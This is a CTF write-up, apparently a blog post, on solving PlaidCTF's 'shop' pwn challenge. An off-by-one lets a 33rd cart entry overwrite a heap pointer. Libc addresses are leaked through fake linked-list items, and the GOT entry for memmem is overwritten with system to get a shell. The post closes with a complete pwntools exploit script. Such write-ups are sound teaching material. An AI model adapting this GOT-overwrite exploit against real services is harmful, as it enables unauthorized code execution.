To warm up for DEFCON quals, my team and I decided to give PlaidCTF a shot. We knew it was going to bring some hard, fun challenges, and it did not disappoint.

I immediately jumped into my comfort zone by tackling a pwn challenge, and got my first flag of the weekend. The exploit was pretty cool, and I seemed to have used a different solve than was intended, so I thought I'd share.

Challenge Analysis

When the application is run, it asks you to name your shop. Afterwards, you are free to invoke any of the following options as much as you'd like:

   a Add Item
   l List Items
   n Name Shop
   c Checkout

Add Item

Items are stored in a singly-linked list, with a global variable last_item pointing to the final item in the chain. Each item points backwards, until nullptr. In addition to the list pointer, each element contains a char[4] identifier, two name strings, and a float price. The structure is essentially this:

struct item {
    item* prev_item;
    char[4] id;
    char[32] short_name;
    char[256] long_name;
    float price;
}

Before looking at how this item is filled out, it's important to notice that the function won't let us add more than 0x20 (32) items. It's also important to note that it uses a jump less or equal, not a jump less:

After passing that check, we arrive at the main portion of the code:

Notice that the elements are malloc()d. Also notice that when adding an item, we can specify everything except id, which is set by set_item_id(). This function reads a 2-byte string from /dev/urandom, loops over each byte, and sets id to the hexadecimal string which represents these two bytes (4 chars, no null terminator). id remains hidden to us, but we know it must be between %x % 0x0000 and %x % 0xFFFF . Here's the code inside of the loop:

List Items

This function is quite simple. It grabs the last item in the list, loops backwards, and prints <short_name>: <price> - <long_name>. The code that does this isn't interesting, but the behavior can be used to leak information in our attack.

Name Shop

This simply lets us rename our shop. This wouldn't be entirely useful, except for the fact that the shop name is stored in a 0x130 byte buffer created with malloc(), which is pointed to by a global variable shop_buf placed immediately following our checkout cart. This will be important later.

Checkout

Checkout looks pretty complex, but the function boils down to three main behaviors:

1. Request a 65552-byte search_buffer from user
2. Add any item to global list cart whose id is in search_buffer
3. Loop over cart and display Buying <long_name> for <price> for each item

The assembly code isn't really relevant, as there's no interesting behavior or bugs there. What is relevant, however, is the cart array:

You'll notice there are 4 items per row (first item in first row is offset only because it's named) with 8 rows, yielding a total of 32 items slots in the cart. If you're sharp, you might have already figured out what's next.

Exploitation

Because add_item() uses jle pre-increment, it allows us to have an initial total of 33 items. If we then trigger checkout() with search_buffer containing all 33 item identifiers, we can overwrite shop_buf to point to item[0]. From there, we can use rename_shop() to modify item[0]->prev_item, expanding the item list to an arbitrary location and yielding a write primitive.

This is the gist of what any exploit will do, but there are multiple ways to weaponize this behavior. Here's the route we're going to use:

Create Item List

First, we will create a list of 33 items. Upon each item addition, we will use binary search find the exact id of each item via checkout(). Because binary search is O(log n), this is pretty fast. We can check about 13110 possibilities per request, separating each potential id with a comma so that cycles don't mess up the search.

The search happens anywhere in the buffer with absolutely no alignment, so having 00001000 instead of 0000,1000 could confuse our search, since id 0001 could match even when it's not in the search set. This actually plays into how the challenge was meant to be solved, but that doesn't matter for our attack.

Checkout - Initial Corruption

Next, we checkout all 33 items. This causes an overwrite of shop_buf to point to items[0].

Name Shop - Fake Item stdout

Global scope contains a pointer to stdout (actually, _IO_2_1_stdout_), which points to a location relative to libc.so. This means that, if we can leak this value, we can calculate the address of libc.so. Luckily, the memory layout is perfect. The 12 bytes before stdout are all 0x00, so it will look like a valid item with prev_item as nullptr and id as 0x00000000. Using name_shop(), we set items[0]->prev_item to stdout_pointer - 12.

List Items - Leak stdout

With our fake item in the list, we call list_items() to display the value in stdout_pointer as the short_name for the fake item. We'll use this later.

Name Shop - Fake Item _dl_runtime_resolve_avx

This is where it gets a bit messy. In Linux binaries, there is a table called the Global Offset Table. Essentially speaking, it contains pointers to library functions which the binary needs to operate. Our main goal is to replace one of these pointers to point to system(), but we're not there yet.

Immediately before the first element in the GOT is a pointer to _dl_runtime_resolve_avx. Once again, we use name_shop to add a fake item, this time replacing our previous fake rather than extending the chain. We point this fake object at _dl_runtime_resolve_avx_pointer - 44. We're lucky enough that these bytes will all be 0x00, meaning the item will appear fine.

List Items - Leak _dl_runtime_resolve_avx

With our fake item constructed such that long_name falls on _dl_runtime_resolve_avx_pointer, we leak _dl_runtime_resolve_avx, which is relative to libc.so. However, we don't intend to use this leak to locate libc.so, unlike with the leak from before.

There was no need to do both this and the stdout leak, as both are relative to libc.so. I could have calculated this value from stdout, or skipped stdout and used this value instead. However, I had already written the stdout leak before realizing this was the path I would take, and it takes more time to remove it than to go with it. Also, at the time, I thought this value was relative to ld.so, not libc.so.

Name Shop - Fake Item GOT

After some quirky setup steps, we're finally ready to begin the meat of the 'sploit. We now know _dl_runtime_resolve_avx. Let me rephrase that: we now know the 8 bytes before GOT. Using a third name_shop() call, we create a fake item which points to GOT - 16. prev_item will point into some library, but that's okay, because our exploit will completely execute before the code ever walks the list that deep. Additionally, id will be the first 4 bytes of our leaked _dl_runtime_resolve_avx.

Checkout - GOT a Write Primitive

Now, we checkout 33 items. However, we omit item[0]->id in place of _dl_runtime_resolve_avx[:4], causing shop_buf to point to GOT - 16

Name Shop - Replace GOT

Next, we rebuild the GOT. This is its shape:

There are a few more steps before triggering the exploit, so we need to keep _dl_runtime_resolve_avx, fread(), strlen(), printf(), and fgets() in tact. Remember, we leaked the address of libc.so, so it's trivial to know the addresses for these functions.

One last consideration is that invoking checkout() calls memmem(input, item) for each item when building the cart, and that makes it the perfect function to replace with system().

So, we trigger name_shop() to rewrite the GOT, keeping the aforementioned functions correctly pointed and replacing memmem() with system().

Checkout My Exploit

Finally, it's time to get a flag. We invoke checkout(), and provide a search_buffer of /bin/sh. Then, when memmem() is called, our GOT overwrite causes the call to actually find it's way to system(), giving us a shell.

The full code for the exploit will be at the end of the post.

Optimizations

When playing a timed CTF, sometimes you have to ignore optimizations and work with good-enough so you can get flags faster. As I write my exploits, though, I take mental notes of what could be better.

Binary Search Sub-Query Consideration

When a binary search begins, the halves contain 32767 and 32768 items. Each query can only search 13110 items, meaning there are multiple sub-queries that happens on the first and second rounds of the search. Effectively, this is a pseudo-binary-search

A more efficient algorithm would highlight which region of a query was matched based on which sub-query returned, allowing the binary search to further reduce the search set to only the subset which matters.

Multiplexed Binary Search

Instead of searching for the id of each item, the search could kick in after creating all 33 items. It could start out searching for item[0] as usual, but it could track any other items which appear along the way. Each time an extraneous item is seen, the bucket-of-possibilities for that item could be reduced. Then, when it's time to search for that item, the search would start at an advantageous position.

When coded right, the first step on the first search would eliminate the first step for all other searches. This effect would compound on deeper levels as more items are searched for, potentially saving a lot of time by the end.

Fixed Binary Search

Sometimes, the binary search was failing. I never figured out why, I just tried reversing the order of the values which actually worked in the failure cases. Properly fixing it could remove re-searching upon failure, but I didn't have time to debug it.

Cyclic Approach

After getting the flag, I realized this challenge was meant to be solved using a De Brujin sequence. Essentially, using a 65552-byte De Brujin sequence with the right values would yield a search_buffer able match every single item. This allows us to solve the challenge without knowing any identifiers, but it would break the exploit we used, as it sometimes requires omitting one item from checkout.

Both methods can be combined, though, and the exploit would be much faster and work the same. Essentially, Binary Search could be used to locate a single item id. Then a De Brujin sequence could be used, and the occurrence of id could be replaced when need be. This would actually break the sequence, but the chance of another item's id being adjacent is extremely low. However, if I was going to use a De Brujin sequence, I would just re-write the exploit to not need the single item omission.

Closing Thoughts

Another CTF down, and less than a week before DEFCON quals. I certainly learned a lot from PlaidCTF, and had quite a bit of fun in the process. This wasn't the hardest challenge I've faced, but it was unique in the way the overflow and the linked list interacted. One final note is that I actually get excited when I realize I solved a challenge a different way than intended, because it means I've both managed to circumvent expectations and learned about the intended solve after-the-fact.

I hope you enjoyed the write-up! Feel free to discuss in the comments.

Code

All-in-all, the exploit code works out to 220 lines, partially due to the generous amount of comments. Here you go:

from pwn import *
import sys

# communications
show_interop = False

libc = ELF("./libc.so.6")
io = remote('shop.chal.pwning.xxx', 9916)

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#io = process("shop", raw=False)

def send_line(line):
	if (show_interop):
		if (len(line) < 200):
			print(line)
		else:
			print("%s..%d..%s" % (line[0:4], len(line) - 8, line[-4:]))
	io.sendline(line)

def read_until_prompt(prompt = "> "):
	res = ""
	while (prompt not in res):
		res += io.recv()

	if (show_interop):
		print(res)
	return res

# actions
def createShop(name):
	send_line("n")
	read_until_prompt(":")
	send_line(name)
	return read_until_prompt()

def purchaseItems(ids):
	send_line("c")
	buf = ','.join(ids)
	buf += ' ' * ((0x10004 - len(buf)) - 2)
	send_line(buf)
	return read_until_prompt()

def testIdsInternal(ids, name):
	result = purchaseItems(ids)
	return ("Buying" in result and name in result)

def testIds(ids, name):
	max_len = 0x10000
	max_objects = max_len / 5

	index = 0
	while True:
		take = min(len(ids), index+max_objects)
		if (testIdsInternal(ids[index:take], name)):
			return True
		index += take
		if (index >= len(ids)):
			break
	return False

def addItem(num):
	send_line("a")
	send_line("item%02d" % num)
	send_line("item%02d" % num)
	send_line("%d" % num)
	read_until_prompt()
	return ("item%02d" % num)

def listItems():
	send_line("l")
	return read_until_prompt()

# utilities
def getPossibleIds(known_ids):
	ids = []
	for i in range(0, 65536):
		val = "%04x" % i
		if (val not in known_ids):
			ids.append("%04x" % i)
	return ids

def splitArray(tosplit):
	size = len(tosplit) / 2
	return tosplit[:size], tosplit[size:]

def internalFindIdForItem(possible_ids, name):
	if (len(possible_ids) == 1):
		if (testIds(possible_ids, name)): 
			return possible_ids[0]
		else:
			return None
	elif (len(possible_ids) == 0):
		return None

	test, fail = splitArray(possible_ids)
	if (show_interop):
		print("Trying %s to %s" % (test[0], test[-1]))

	if (testIds(test, name)):
		return internalFindIdForItem(test, name)
	else:
		return internalFindIdForItem(fail, name)

def findIdForItem(known_ids, name, gen=getPossibleIds):
	possible_ids = gen(known_ids)
	res = internalFindIdForItem(possible_ids, name)
	if (res == None): # sometimes search fails and reversing the list fixes it and i have no fucking clue why
		res = internalFindIdForItem(list(reversed(possible_ids)), name)
	return res

def leakSeek(data, begin, exclude):
	addr = ''
	for line in data.splitlines():
		if (begin in line and exclude not in line):
			index = line.find(begin) + len(begin)
			addr = line[index:]
			break
	addr += '\0' * (8 - len(addr))
	return struct.unpack("<Q", addr)[0]

def leakSeekUntil(data, end, exclude):
	addr = ''
	for line in data.splitlines():
		if (end in line and exclude not in line):
			index = line.find(end)
			addr = line[:index]
			break
	addr += '\0' * (8 - len(addr))
	return struct.unpack("<Q", addr)[0]

def positionLeak(sym, base, base_offset):
	offset = libc.symbols[sym]
	addr = base - (base_offset - offset)
	print("%20s: 0x%08x (+0x%06x)" % (sym, addr, offset))
	return addr


# exploit
show_interop = False
#raw_input()
read_until_prompt("Enter your")
send_line("my shop")
read_until_prompt()

#[] -> Build item list
known_ids = []
for i in range(0, 33):
	item_name = addItem(i)
	item_id = findIdForItem(known_ids, item_name)
	sys.stdout.write("%s: %s    " % (item_name, item_id))
	if ((i+1) % 3 == 0):
		sys.stdout.write("\n")
	known_ids.append(item_id)
sys.stdout.write("\n")

#[] -> Checkout, landing `item0` in `cart[32]` which is the pointer to `shop` buffer
purchased = purchaseItems(known_ids)

#[] -> New shop, changing `item0->prev_item` from `nullptr` to FAKE_ITEM_SPOT
FAKE_ITEM_SPOT = 0x6020c0-12 # 12 bytes before `stdout` pointer
                             # we can list items to leak `stdout` address,
                             # which will be somewhere in libc.
createShop(struct.pack("<Q", FAKE_ITEM_SPOT))

#[] -> List items to leak address of `stdout`
leaked = listItems()
stdout_addr = leakSeekUntil(leaked, ": $0.00", "item")

#[] -> New shop, changing `item0->prev_item` to `_dl_runtime_resolve_avx_addr - 44`
WRITE_DL_RUNTIME_RESOLVE = 0x601FE4   # this is 44 bytes before `_dl_runtime_resolve_avx_addr`,
                                      # allowing us to leak the address, which is needed
                                      # to get a write primitive into GOT
createShop(struct.pack("<Q", WRITE_DL_RUNTIME_RESOLVE))

#[] -> List items to leak the value in `points to _dl_runtime_resolve_avx`
leaked = listItems()
_dl_runtime_resolve_avx_addr = leakSeek(leaked, "$0.00 - ", "item")
print("%20s: 0x%08x" % ("_dl_runtime_resolve", _dl_runtime_resolve_avx_addr))

#[] -> New shop, changing `item0->prev_item` to `_dl_runtime_resolve_avx_addr - 8`
SELECT_DL_RUNTIME_RESOLVE = 0x602008 # this is 8 bytes before `_dl_runtime_resolve_avx_addr` pointer,
                                     # allowing us to use the leaked value to select for this fake item
                                     # and finally overwrite the GOT
createShop(struct.pack("<Q", SELECT_DL_RUNTIME_RESOLVE))

#[] -> Checkout, landing `0x602008` in `shop`
ids_except_1 = known_ids[1:]
ids_except_1.append(struct.pack("<Q", _dl_runtime_resolve_avx_addr)[:4])
purchaseItems(ids_except_1)

#[] -> New shop, writing our final exploit
stdout_offset = libc.symbols[b"_IO_2_1_stdout_"]
stdout_addr = positionLeak(b"_IO_2_1_stdout_", stdout_addr, stdout_offset) # just so we print nicely
fread_addr = positionLeak(b"fread", stdout_addr, stdout_offset)
strlen_addr = positionLeak(b"strlen", stdout_addr, stdout_offset)
printf_addr = positionLeak(b"printf", stdout_addr, stdout_offset)
fgets_addr = positionLeak(b"fgets", stdout_addr, stdout_offset)
system_addr = positionLeak(b"system", stdout_addr, stdout_offset)

#[] -> New shop, rebuild GOT; zero functions that wont be called, replace memmem() with system(), trigger bug with checkout
exploit = ""
exploit += '\0' * 8
exploit += struct.pack("<Q", _dl_runtime_resolve_avx_addr)
exploit += '\0' * 8
exploit += struct.pack("<Q", fread_addr)
exploit += struct.pack("<Q", strlen_addr)
exploit += '\0' * 16
exploit += struct.pack("<Q", printf_addr)
exploit += '\0' * 8
exploit += struct.pack("<Q", fgets_addr)
exploit += struct.pack("<Q", system_addr)

createShop(exploit)

#[] -> interact with exploit
send_line("c")
send_line("/bin/sh")
io.interactive()```